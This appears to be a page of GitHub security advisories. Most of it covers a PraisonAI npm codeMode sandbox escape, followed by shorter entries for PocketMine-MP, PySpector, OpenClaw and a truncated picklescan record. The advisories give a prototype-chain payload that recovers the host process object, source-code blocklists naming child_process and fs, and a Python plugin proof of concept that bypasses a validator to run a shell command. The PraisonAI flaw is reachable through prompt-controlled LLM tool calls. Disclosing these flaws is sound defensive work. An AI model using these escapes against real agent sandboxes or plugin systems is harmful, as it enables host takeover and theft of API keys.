  • the config includes security-relevant controls such as blockedTools, allowedPaths, timeoutMs, and maxMemoryMb.

The PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.

PraisonAI's official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with npm install praisonai. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.

PoV

The PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose process.mainModule.require; node -e or stdin do not always reproduce that deployment shape.

Run from a local reproduction checkout:

node poc/pov_poc.js 1.7.1

Observed result:

{
  "package": "praisonai",
  "version": "1.7.1",
  "codeModeExported": true,
  "directRequireFsControl": {
    "stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]fs['\"]\\s*\\)",
    "exitCode": 1,
    "success": false,
    "error": "Code contains blocked patterns for security"
  },
  "directChildProcessControl": {
    "stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)",
    "exitCode": 1,
    "success": false,
    "error": "Code contains blocked patterns for security"
  },
  "escapedProcessEnv": {
    "output": "poc",
    "exitCode": 0,
    "success": true
  },
  "escapedFilesystem": {
    "output": "fs-ok",
    "exitCode": 0,
    "success": true
  },
  "escapedCommand": {
    "output": "poc",
    "exitCode": 0,
    "success": true
  }
}

Interpretation:

  • direct require('fs') is blocked;
  • direct require('child_process') is blocked;
  • the Function-constructor payload recovers host process;
  • the escaped process reads a host environment variable;
  • the escaped process imports fs; and
  • the escaped process imports child_process and runs a harmless printf.

The PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.

PoC

The PoV section above contains the local reproduction command, input, and decisive output.

Impact

An attacker who can supply code to codeMode can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.

Realistic entry points include:

  • an application that exposes codeMode as an agent tool to end users;
  • an LLM/tool-call flow where prompt-controlled content reaches the code parameter;
  • MCP or tool-registry integrations that make the built-in codeMode tool callable; or
  • any multi-tenant service that relies on codeMode to safely run user or model-generated JavaScript.

Impact after escape includes:

  • reading process environment variables, including API keys and service tokens;
  • reading files available to the Node process;
  • spawning subprocesses with child_process;
  • writing or modifying files through host filesystem APIs; and
  • terminating or resource-exhausting the host process.

Severity

Suggested severity: Critical.

Rationale:

  • AV: codeMode is a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.
  • AC: a single code payload is enough.
  • PR: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.
  • UI: no additional user interaction is required once the tool is invoked.
  • S: execution crosses from the advertised sandbox security scope into the host Node.js process.
  • C: host files and environment variables are readable.
  • I: host subprocess and filesystem APIs are reachable.
  • A: escaped code can terminate processes or consume host resources.

Suggested Fix

Do not use host-process new Function plus source-code blocklists as a sandbox.

Recommended fix direction:

  1. Disable or clearly mark npm codeMode as unsafe until a real isolation boundary exists.
  2. Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.
  3. Enforce allowNetwork, allowedPaths, timeoutMs, maxMemoryMb, allowedTools, and blockedTools at that boundary instead of by scanning source strings.
  4. Do not rely on node:vm alone for untrusted code. The Node.js documentation explicitly says the vm module is not a security mechanism.
  5. Add regression tests for:
  6. direct require('fs') and require('child_process') blocked controls;
  7. ({}).constructor.constructor('return process')() blocked;
  8. process.mainModule.require('fs') unavailable;
  9. process.mainModule.require('child_process') unavailable;
  10. host environment variables unavailable unless explicitly passed; and
  11. tool-call IPC still works for allowed tools.

If maintainers need an emergency mitigation before a real sandbox exists, reject codeMode execution unless the caller opts into "unsafe host JS execution" with clear documentation that it can access the full Node process.

Affected Package/Versions

  • Repository: MervinPraison/PraisonAI
  • Ecosystem: npm
  • Package: praisonai
  • Component: src/praisonai-ts/src/tools/builtins/code-mode.ts
  • Current npm version checked: 1.7.1
  • Refreshed origin/main checked: 1ad58ca02975ff1398efeda694ea2ab78f20cf3e

Confirmed affected range:

>= 1.4.0, <= 1.7.1

Boundary:

1.3.6 does not export codeMode and does not ship dist/tools/builtins/code-mode.js.

No fixed npm version is known at the time of this report.

Version Sweep

The included sweep installs selected npm versions and runs the same vulnerable shape from a script file:

node poc/version_sweep_poc.js

Observed result:

1.3.6: codeModeExported=false, hasDistCodeMode=false
1.4.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.5.4: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.6.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.7.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.7.1: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true

Git history for the TypeScript file points to the 1.4.0 integration:

56f36e25 feat: bump version to 1.4.0 and add AI SDK integration dependencies
2bad9a50 feat: bump version to 1.4.0 and add AI SDK integration dependencies

Advisory History

Checked:

  • visible PraisonAI advisories and prior reports;
  • public GitHub advisory search results for PraisonAI codeMode, npm, sandbox, new Function, process, and child_process; and
  • visible public PraisonAI advisories for sandbox escapes.

Closest related advisories are Python/PyPI scoped and do not cover this npm TypeScript implementation:

  • GHSA-qf73-2hrx-xprp / CVE-2026-39888: pip:praisonaiagents execute_code() frame traversal in a Python subprocess sandbox.
  • GHSA-4mr5-g6f9-cfrh / CVE-2026-47392: pip:praisonai Python execute_code() sandbox escape through print.__self__.
  • Other published PraisonAI sandbox advisories cover Python execute_code, SubprocessSandbox, Sandlock/native fallback, or CLI/managed-agent bridges.

This report is distinct because it targets:

  • ecosystem: npm;
  • package: praisonai;
  • component: src/praisonai-ts/src/tools/builtins/code-mode.ts;
  • root cause: host-context new Function plus blocklist/name-shadowing sandbox; and
  • affected range: >= 1.4.0, <= 1.7.1.

One private npm report has already been submitted for TypeScript AgentOS missing authentication (GHSA-9752-mhqh-h34f). That is also distinct: it covers unauthenticated HTTP agent listing/invocation, not a codeMode sandbox escape.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:26:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe published npm package `praisonai` exports a TypeScript built-in tool named `codeMode`. The package describes this tool as executing code in a sandboxed environment, marks its capability as `sandbox: true`, and registers it through the public tools facade.\n\nThe implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets `process` and `require` to `undefined` inside a plain JavaScript object, and then executes attacker-controlled code with the host process `new Function` constructor:\n\n```text\nconst fn = new Function(\u0027sandbox\u0027, `with (sandbox) { ${code} }`);\nconst result = fn(sandbox);\n```\n\nBecause this runs in the host V8 context, code inside `codeMode` can use the JavaScript prototype chain to recover the real `Function` constructor:\n\n```text\n({}).constructor.constructor(\u0027return process\u0027)()\n```\n\nFrom a normal CommonJS application script, the recovered `process` object exposes `process.mainModule.require`. That bypasses the explicit `require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.\n\n## Technical Details\n\nCurrent-head source says `codeMode` is a built-in package tool and explicitly advertises a sandbox boundary:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  13: description: \u0027Execute code that can import and use other tools in a sandboxed environment\u0027,\n  24: capabilities: {\n  25:   sandbox: true,\n  26:   code: true,\n  28: packageName: \u0027praisonai\u0027,\n  85: description: \u0027Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.\u0027,\n```\n\nThe same file implements security as a blocklist of exact source-code patterns:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  108: const blockedPatterns = [\n  109:   /require\\s*\\(\\s*[\u0027\"]child_process[\u0027\"]\\s*\\)/,\n  110:   /require\\s*\\(\\s*[\u0027\"]fs[\u0027\"]\\s*\\)/,\n  111:   /import\\s+.*from\\s+[\u0027\"]child_process[\u0027\"]/,\n  112:   /process\\.exit/,\n  113:   /eval\\s*\\(/,\n```\n\nIt then tries to hide dangerous globals by shadowing names in a normal object:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  168: process: undefined,\n  169: require: undefined,\n```\n\nFinally, it executes the untrusted code in the host process using `new Function` and `with (sandbox)`:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  187: const fn = new Function(\n  188:   \u0027sandbox\u0027,\n  189:   `with (sandbox) { ${code} }`\n  190: );\n  191: const result = fn(sandbox);\n```\n\nThis is not a sandbox. `new Function` does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.\n\nThe tool is reachable through the public npm SDK:\n\n```text\nsrc/praisonai-ts/src/index.ts\n  117: airweaveSearch, codeMode,\n\nsrc/praisonai-ts/src/tools/tools.ts\n  104: // Code Mode\n  105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);\n  167: // Code Mode\n  168: codeMode: (config?: CodeModeConfig) =\u003e codeMode(config),\n```\n\n### Why This Is Not Intended Behavior\n\nThis is not merely \"the user can execute code because codeMode executes code.\" The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.\n\nThe implementation itself proves an intended security boundary exists:\n\n- `CODE_MODE_METADATA.capabilities.sandbox` is `true`;\n- the tool description says it executes in a sandboxed environment;\n- direct access to `fs` and `child_process` is explicitly blocked;\n- `process` and `require` are explicitly shadowed as `undefined`;\n- `allowNetwork` defaults to `false`; and\n- the config includes security-relevant controls such as `blockedTools`, `allowedPaths`, `timeoutMs`, and `maxMemoryMb`.\n\nThe PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.\n\nPraisonAI\u0027s official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with `npm install praisonai`. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.\n\n## PoV\n\nThe PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose `process.mainModule.require`; `node -e` or stdin do not always reproduce that deployment shape.\n\nRun from a local reproduction checkout:\n\n```fish\nnode poc/pov_poc.js 1.7.1\n```\n\nObserved result:\n\n```json\n{\n  \"package\": \"praisonai\",\n  \"version\": \"1.7.1\",\n  \"codeModeExported\": true,\n  \"directRequireFsControl\": {\n    \"stderr\": \"Blocked pattern detected: require\\\\s*\\\\(\\\\s*[\u0027\\\"]fs[\u0027\\\"]\\\\s*\\\\)\",\n    \"exitCode\": 1,\n    \"success\": false,\n    \"error\": \"Code contains blocked patterns for security\"\n  },\n  \"directChildProcessControl\": {\n    \"stderr\": \"Blocked pattern detected: require\\\\s*\\\\(\\\\s*[\u0027\\\"]child_process[\u0027\\\"]\\\\s*\\\\)\",\n    \"exitCode\": 1,\n    \"success\": false,\n    \"error\": \"Code contains blocked patterns for security\"\n  },\n  \"escapedProcessEnv\": {\n    \"output\": \"poc\",\n    \"exitCode\": 0,\n    \"success\": true\n  },\n  \"escapedFilesystem\": {\n    \"output\": \"fs-ok\",\n    \"exitCode\": 0,\n    \"success\": true\n  },\n  \"escapedCommand\": {\n    \"output\": \"poc\",\n    \"exitCode\": 0,\n    \"success\": true\n  }\n}\n```\n\nInterpretation:\n\n- direct `require(\u0027fs\u0027)` is blocked;\n- direct `require(\u0027child_process\u0027)` is blocked;\n- the Function-constructor payload recovers host `process`;\n- the escaped process reads a host environment variable;\n- the escaped process imports `fs`; and\n- the escaped process imports `child_process` and runs a harmless `printf`.\n\nThe PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nAn attacker who can supply code to `codeMode` can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.\n\nRealistic entry points include:\n\n- an application that exposes `codeMode` as an agent tool to end users;\n- an LLM/tool-call flow where prompt-controlled content reaches the `code` parameter;\n- MCP or tool-registry integrations that make the built-in `codeMode` tool callable; or\n- any multi-tenant service that relies on `codeMode` to safely run user or model-generated JavaScript.\n\nImpact after escape includes:\n\n- reading process environment variables, including API keys and service tokens;\n- reading files available to the Node process;\n- spawning subprocesses with `child_process`;\n- writing or modifying files through host filesystem APIs; and\n- terminating or resource-exhausting the host process.\n\n### Severity\n\nSuggested severity: Critical.\n\nRationale:\n\n- `AV`: `codeMode` is a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.\n- `AC`: a single code payload is enough.\n- `PR`: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.\n- `UI`: no additional user interaction is required once the tool is invoked.\n- `S`: execution crosses from the advertised sandbox security scope into the host Node.js process.\n- `C`: host files and environment variables are readable.\n- `I`: host subprocess and filesystem APIs are reachable.\n- `A`: escaped code can terminate processes or consume host resources.\n\n## Suggested Fix\n\nDo not use host-process `new Function` plus source-code blocklists as a sandbox.\n\nRecommended fix direction:\n\n1. Disable or clearly mark npm `codeMode` as unsafe until a real isolation boundary exists.\n2. Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.\n3. Enforce `allowNetwork`, `allowedPaths`, `timeoutMs`, `maxMemoryMb`, `allowedTools`, and `blockedTools` at that boundary instead of by scanning source strings.\n4. Do not rely on `node:vm` alone for untrusted code. The Node.js documentation explicitly says the `vm` module is not a security mechanism.\n5. Add regression tests for:\n   - direct `require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` blocked controls;\n   - `({}).constructor.constructor(\u0027return process\u0027)()` blocked;\n   - `process.mainModule.require(\u0027fs\u0027)` unavailable;\n   - `process.mainModule.require(\u0027child_process\u0027)` unavailable;\n   - host environment variables unavailable unless explicitly passed; and\n   - tool-call IPC still works for allowed tools.\n\nIf maintainers need an emergency mitigation before a real sandbox exists, reject `codeMode` execution unless the caller opts into \"unsafe host JS execution\" with clear documentation that it can access the full Node process.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Ecosystem: `npm`\n- Package: `praisonai`\n- Component: `src/praisonai-ts/src/tools/builtins/code-mode.ts`\n- Current npm version checked: `1.7.1`\n- Refreshed `origin/main` checked: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n\nConfirmed affected range:\n\n```text\n\u003e= 1.4.0, \u003c= 1.7.1\n```\n\nBoundary:\n\n```text\n1.3.6 does not export codeMode and does not ship dist/tools/builtins/code-mode.js.\n```\n\nNo fixed npm version is known at the time of this report.\n\n### Version Sweep\n\nThe included sweep installs selected npm versions and runs the same vulnerable shape from a script file:\n\n```fish\nnode poc/version_sweep_poc.js\n```\n\nObserved result:\n\n```text\n1.3.6: codeModeExported=false, hasDistCodeMode=false\n1.4.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.5.4: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.6.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.7.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.7.1: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n```\n\nGit history for the TypeScript file points to the 1.4.0 integration:\n\n```text\n56f36e25 feat: bump version to 1.4.0 and add AI SDK integration dependencies\n2bad9a50 feat: bump version to 1.4.0 and add AI SDK integration dependencies\n```\n\n## Advisory History\n\nChecked:\n\n- visible PraisonAI advisories and prior reports;\n- public GitHub advisory search results for PraisonAI `codeMode`, npm, sandbox, `new Function`, `process`, and `child_process`; and\n- visible public PraisonAI advisories for sandbox escapes.\n\nClosest related advisories are Python/PyPI scoped and do not cover this npm TypeScript implementation:\n\n- `GHSA-qf73-2hrx-xprp` / `CVE-2026-39888`: `pip:praisonaiagents` `execute_code()` frame traversal in a Python subprocess sandbox.\n- `GHSA-4mr5-g6f9-cfrh` / `CVE-2026-47392`: `pip:praisonai` Python `execute_code()` sandbox escape through `print.__self__`.\n- Other published PraisonAI sandbox advisories cover Python `execute_code`, `SubprocessSandbox`, Sandlock/native fallback, or CLI/managed-agent bridges.\n\nThis report is distinct because it targets:\n\n- ecosystem: `npm`;\n- package: `praisonai`;\n- component: `src/praisonai-ts/src/tools/builtins/code-mode.ts`;\n- root cause: host-context `new Function` plus blocklist/name-shadowing sandbox; and\n- affected range: `\u003e= 1.4.0, \u003c= 1.7.1`.\n\nOne private npm report has already been submitted for TypeScript `AgentOS` missing authentication (`GHSA-9752-mhqh-h34f`). That is also distinct: it covers unauthenticated HTTP agent listing/invocation, not a `codeMode` sandbox escape.",
  "id": "GHSA-vmmj-pfw7-fjwp",
  "modified": "2026-07-20T21:27:23Z",
  "published": "2026-06-18T14:26:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmmj-pfw7-fjwp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "npm PraisonAI codeMode sandbox escape via Function constructor"
}

GHSA-VMPR-X88W-PMM6

Vulnerability from github – Published: 2026-09-09 15:35 – Updated: 2026-09-09 15:35
VLAI
Details

PocketMine-MP versions before 5.43.1 fail to properly validate the Certificate field during offline login authentication. Unauthenticated players can trigger an uninitialized property access error that crashes the server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-86199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T14:17:20Z",
    "severity": "HIGH"
  },
  "details": "PocketMine-MP versions before 5.43.1 fail to properly validate the Certificate field during offline login authentication. Unauthenticated players can trigger an uninitialized property access error that crashes the server.",
  "id": "GHSA-vmpr-x88w-pmm6",
  "modified": "2026-09-09T15:35:11Z",
  "published": "2026-09-09T15:35:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-g2fj-p69p-9chp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/commit/8c75a1d739e8e190d3cc2338b25cebcc9c052b1b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/commit/e4aaef4ee0f769b52dc0347a1d6da403b9691115"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/pocketmine-mp-before-5.43.1-denial-of-service-via-unauthenticated-login"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VP22-38M5-R39R

Vulnerability from github – Published: 2026-04-16 01:09 – Updated: 2026-04-24 20:53
VLAI
Summary
PySpector has a Plugin Code Execution Bypass via Incomplete Static Analysis in PluginSecurity.validate_plugin_code
Details

Summary

The plugin security validator in PySpector uses AST-based static analysis to prevent dangerous code from being loaded as plugins. The blocklist implemented in PluginSecurity.validate_plugin_code is incomplete and can be bypassed using several Python constructs that are not checked. An attacker who can supply a plugin file can achieve arbitrary code execution within the PySpector process when that plugin is installed and executed.

Details

The validator maintains a set called fatal_calls that enumerates explicitly forbidden function names and attribute access patterns such as eval, exec, os.system, and subprocess.Popen. However, this approach relies on an exhaustive blocklist of known-dangerous identifiers, which is inherently incomplete.

The following bypass techniques are not detected by the current implementation:

importlib.import_module is not in fatal_calls and is not treated as a dangerous module, so it can be used to load os, subprocess, or any other module at runtime without triggering the validator.

Dynamic attribute chains using __class__.__mro__ and related dunder attributes allow traversal of the class hierarchy to reach arbitrary built-in functions without naming them directly in the source.

ctypes is not blocked and can be used to call native library functions including system.

__builtins__ dictionary access exposes all built-in callables without using the names that the validator checks.

types.CodeType allows construction and execution of raw code objects.

The alias resolution in the AST visitor only handles simple import X as Y cases, so aliased imports of blocked modules evade detection, and transitive imports through unblocked modules are never examined.

Because the validator produces a pass/fail result that gates plugin installation with the --trust flag, a bypass causes untrusted plugin code to execute with the full privileges of the PySpector process.

PoC

import textwrap, tempfile, os

evil_plugin = textwrap.dedent("""
import importlib
mod = importlib.import_module('os')
mod.system('id > /tmp/pwned')
""")

with tempfile.NamedTemporaryFile(suffix=".py", mode="w", delete=False) as f:
    f.write(evil_plugin)
    plugin_path = f.name

from pyspector.plugin_system import PluginSecurity

result = PluginSecurity.validate_plugin_code(plugin_path)
print("Validation passed:", result)

exec(compile(open(plugin_path).read(), plugin_path, "exec"))

print("Command output:", open("/tmp/pwned").read())
os.unlink(plugin_path)

Impact

Any user or process that can supply a plugin file to PySpector and invoke the plugin installation workflow can execute arbitrary operating system commands with the privileges of the PySpector process. The static analysis check provides a false sense of security, as it can be circumvented trivially using standard library modules that are present in every Python installation. All versions of PySpector that include the plugin system are affected.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyspector"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T01:09:17Z",
    "nvd_published_at": "2026-04-23T02:16:18Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe plugin security validator in PySpector uses AST-based static analysis to prevent dangerous code from being loaded as plugins. The blocklist implemented in `PluginSecurity.validate_plugin_code` is incomplete and can be bypassed using several Python constructs that are not checked. An attacker who can supply a plugin file can achieve arbitrary code execution within the PySpector process when that plugin is installed and executed.\n\n### Details\n\nThe validator maintains a set called `fatal_calls` that enumerates explicitly forbidden function names and attribute access patterns such as eval, exec, `os.system`, and `subprocess.Popen`. However, this approach relies on an exhaustive blocklist of known-dangerous identifiers, which is inherently incomplete.\n\nThe following bypass techniques are not detected by the current implementation:\n\n`importlib.import_module` is not in `fatal_calls` and is not treated as a dangerous module, so it can be used to load os, subprocess, or any other module at runtime without triggering the validator.\n\nDynamic attribute chains using `__class__.__mro__` and related dunder attributes allow traversal of the class hierarchy to reach arbitrary built-in functions without naming them directly in the source.\n\nctypes is not blocked and can be used to call native library functions including system.\n\n`__builtins__` dictionary access exposes all built-in callables without using the names that the validator checks.\n\n`types.CodeType` allows construction and execution of raw code objects.\n\nThe alias resolution in the AST visitor only handles simple import X as Y cases, so aliased imports of blocked modules evade detection, and transitive imports through unblocked modules are never examined.\n\nBecause the validator produces a pass/fail result that gates plugin installation with the --trust flag, a bypass causes untrusted plugin code to execute with the full privileges of the PySpector process.\n\n### PoC\n\n```python\nimport textwrap, tempfile, os\n\nevil_plugin = textwrap.dedent(\"\"\"\nimport importlib\nmod = importlib.import_module(\u0027os\u0027)\nmod.system(\u0027id \u003e /tmp/pwned\u0027)\n\"\"\")\n\nwith tempfile.NamedTemporaryFile(suffix=\".py\", mode=\"w\", delete=False) as f:\n    f.write(evil_plugin)\n    plugin_path = f.name\n\nfrom pyspector.plugin_system import PluginSecurity\n\nresult = PluginSecurity.validate_plugin_code(plugin_path)\nprint(\"Validation passed:\", result)\n\nexec(compile(open(plugin_path).read(), plugin_path, \"exec\"))\n\nprint(\"Command output:\", open(\"/tmp/pwned\").read())\nos.unlink(plugin_path)\n```\n\n### Impact\n\nAny user or process that can supply a plugin file to PySpector and invoke the plugin installation workflow can execute arbitrary operating system commands with the privileges of the PySpector process. The static analysis check provides a false sense of security, as it can be circumvented trivially using standard library modules that are present in every Python installation. All versions of PySpector that include the plugin system are affected.",
  "id": "GHSA-vp22-38m5-r39r",
  "modified": "2026-04-24T20:53:36Z",
  "published": "2026-04-16T01:09:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ParzivalHack/PySpector/security/advisories/GHSA-vp22-38m5-r39r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ParzivalHack/PySpector/commit/3c9547157fc07396f22b26b3484a9a91eba98555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ParzivalHack/PySpector/commit/4e279e078c53d760fd321ff9b698d683c65ccb8e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ParzivalHack/PySpector"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PySpector has a Plugin Code Execution Bypass via Incomplete Static Analysis in PluginSecurity.validate_plugin_code"
}

GHSA-VR6H-VXQJ-3PJX

Vulnerability from github – Published: 2026-06-16 21:32 – Updated: 2026-06-18 13:02
Withdrawn 2026-06-18 VLAI
Summary
Duplicate Advisory: Host environment sanitizer missed two Node.js control variables
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-ccwh-wwpp-6wg5. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.5.26 contains an insufficient sanitization vulnerability in the host environment sanitizer that allows Node.js control variables to bypass validation. Attackers with access to workspace .env files, tool environment overrides, or skill environment blocks can pass malicious Node.js control variables to influence child processes or coverage output paths.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.5.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:02:39Z",
    "nvd_published_at": "2026-06-16T19:17:04Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-ccwh-wwpp-6wg5. This link is maintained to preserve external references.\n\n## Original Description\n\nOpenClaw before 2026.5.26 contains an insufficient sanitization vulnerability in the host environment sanitizer that allows Node.js control variables to bypass validation. Attackers with access to workspace .env files, tool environment overrides, or skill environment blocks can pass malicious Node.js control variables to influence child processes or coverage output paths.",
  "id": "GHSA-vr6h-vxqj-3pjx",
  "modified": "2026-06-18T13:02:39Z",
  "published": "2026-06-16T21:32:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-ccwh-wwpp-6wg5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53864"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-insufficient-environment-variable-sanitization-in-node-js-control-variables"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Host environment sanitizer missed two Node.js control variables",
  "withdrawn": "2026-06-18T13:02:39Z"
}

GHSA-VR75-HJH9-7FR6

Vulnerability from github – Published: 2025-03-03 18:31 – Updated: 2025-03-03 20:05
Withdrawn 2025-03-03 VLAI
Summary
Duplicate Advisory: Remote Code Execution via Malicious Pickle File Bypassing Static Analysis
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-655q-fx9r-782v. This link is maintained to preserve external references.

Original Description

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via pip.main(). Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.21"
            }
          ],
          "type": "ECOSYSTEM"
